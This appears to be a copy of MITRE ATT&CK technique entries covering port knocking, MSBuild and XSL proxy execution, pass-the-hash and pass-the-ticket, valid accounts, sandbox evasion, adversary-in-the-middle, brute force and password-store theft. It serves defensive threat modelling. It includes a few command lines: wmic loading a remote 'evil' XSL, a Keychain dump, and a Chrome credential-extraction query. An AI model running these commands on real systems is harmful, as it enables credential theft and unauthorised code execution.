On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives. To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.

.001 - Port Knocking

Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

.002 - Socket Filters

Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the libpcap library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.

Filters can be installed on any Unix-like platform with libpcap installed or on Windows hosts using Winpcap. Adversaries may use either libpcap with pcap_setfilter or the standard library function setsockopt with SO_ATTACH_FILTER options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.

T1127 - Trusted Developer Utilities Proxy Execution

Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.

.001 - MSBuild

Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.

Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file. MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.

T1535 - Unused/Unsupported Cloud Regions

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

An example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.

T1550 - Use Alternate Authentication Material

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries can bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

.001 - Application Access Token

Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud and container-based applications and software-as-a-service (SaaS).

In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.

OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim's primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

.002 - Pass the Hash

Adversaries may "pass the hash" using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

When performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.

.003 - Pass the Ticket

Adversaries may "pass the ticket" using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

When preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.

A Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).

A Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.

Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.

.004 - Web Session Cookie

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.

T1078 - Valid Accounts

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.

.001 - Default Accounts

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.

.002 - Domain Accounts

Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.

Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.

.003 - Local Accounts

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

.004 - Cloud Accounts

Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.

Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a Trusted Relationship. Similar to Domain Accounts, compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.

Once a cloud account is compromised, an adversary may perform Account Manipulation - for example, by adding Additional Cloud Roles - to maintain persistence and potentially escalate their privileges.

T1497 - Virtualization/Sandbox Evasion

Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

Adversaries may use several methods to accomplish Virtualization/Sandbox Evasion such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.

.001 - System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads.

Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions. In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.

.002 - User Activity Based Checks

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks, browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro or waiting for a user to double click on an embedded image to activate.

.003 - Time Based Evasion

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments. Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.

T1600 - Weaken Encryption

Adversaries may compromise a network device's encryption capability in order to bypass encryption that would otherwise protect data communications.

Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as Modify System Image, Reduce Key Space, and Disable Crypto Hardware, an adversary can negatively effect and/or eliminate a device's ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts.

.001 - Reduce Key Space

Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.

Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

Adversaries may modify the key size used and other encryption parameters using specialized commands in a Network Device CLI introduced to the system through Modify System Image to change the configuration of the device.

.002 - Disable Crypto Hardware

Adversaries disable a network device's dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.

Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of Modify System Image, forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., Reduce Key Space).

T1220 - XSL Script Processing
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.

Command-line examples:

- `msxsl.exe customers[.]xml script[.]xsl`
- `msxsl.exe script[.]xsl script[.]xsl`
- `msxsl.exe script[.]jpeg script[.]jpeg`

Another variation of this technique, dubbed "Squiblytwo", involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.

Command-line examples:

- Local File: `wmic process list /FORMAT:evil[.]xsl`
- Remote File: `wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"`

Credential Access
The adversary is trying to steal account names and passwords.

Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.

Techniques
Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1557 - Adversary-in-the-Middle
Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation. By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.

For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies. Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.

Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to Impair Defenses and/or in support of a Network Denial of Service.

.001 - LLMNR/NBT-NS Poisoning and SMB Relay

By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name.

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.

In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.

Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.

.002 - ARP Cache Poisoning

Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.

The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address. Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a

MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.

Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.

.003 - DHCP Spoofing

Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.

DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows:

1. The client broadcasts a DISCOVER message.
2. The server responds with an OFFER message, which includes an available network address.
3. The client broadcasts a REQUEST message, which includes the network address offered.
4. The server acknowledges with an ACK message and the client receives the network configuration parameters.

Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.

DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.

Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.

T1110 - Brute Force

Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access.

.001 - Password Guessing

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.

Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.

Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)
- SNMP (161/UDP and 162/TCP/UDP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365. Further, adversaries may abuse network device interfaces (such as wlanAPI) to brute force accessible wifi-router(s) via wireless authentication protocols.

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

.002 - Password Cracking

Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. OS Credential Dumping can be used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Further, adversaries may leverage Data from Configuration Repository in order to obtain hashed credentials for network devices.

Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.

.003 - Password Spraying

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

.004 - Credential Stuffing

Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.

Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.

T1555 - Credentials from Password Stores

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

.001 – Keychain

Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple's iCloud service.

Keychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in `~/Library/Keychains/`, `/Library/Keychains/`, and `/Network/Library/Keychains/`.

Adversaries may gather user credentials from Keychain storage/memory. For example, the command `security dump-keychain –d` will dump all Login Keychain credentials from `~/Library/Keychains/login.keychain-db`. Adversaries may also directly read Login Keychain credentials from the `~/Library/Keychains/login.keychain` file. Both methods require a password, where the default password for the Login Keychain is the current user's password to login to the macOS host.

.002 - Securityd Memory

An adversary may obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user's logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. Apple's securityd utility takes the user's logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.

.003 - Credentials from Web Browsers

Adversaries may acquire credentials from web browsers by reading files specific to the target browser.[1] Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `AppData\Local\Google\Chrome\User Data\Default\Login Data` and executing a SQL query: `SELECT action_url, username_value, password_value FROM logins;`. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `CryptUnprotectData`, which uses the victim's cached logon credentials as the decryption key.

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

.004 - Windows Credential Manager

Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).

The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.

